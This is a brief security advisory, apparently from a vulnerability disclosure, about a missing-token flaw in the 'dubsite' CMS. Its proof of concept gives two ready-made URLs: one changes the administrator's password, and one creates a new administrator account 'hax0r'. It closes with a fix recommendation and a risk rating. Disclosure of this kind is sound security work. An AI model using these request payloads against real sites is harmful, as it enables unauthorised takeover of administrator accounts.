Introduction:
=============

It's goal is to simplify effective management and handling of websites without being overbearing to non-technical users.

More Details:
=============
Due to the lack of multiple input validation errors, an attacker is able to change the password of the administrative user

Proof of Concept:
=================
The following link will change the password of the administrative account. Changing the options will also allow you to change the name of the admin account:

http://server/dubsite/index.php/admin/users/accounts/edit/1?username=admin&userpassword=own3d&userpassword2=own3d&role_id=1&active=1&update=Update

This link creates a user "hax0r" with password test123 and adds it to the administrator group.

http://server/dubsite/index.php/admin/users/accounts?role_id=1&username=hax0r&userpassword=test123&userpassword2=test123&create=Create

Fix & Patch:
============
To fix the bugs a token system is highly advised

Security Risk:
==============
An attacker is able to change the password of the administrative user thus having complete control over the site. The risk is estimated as HIGH
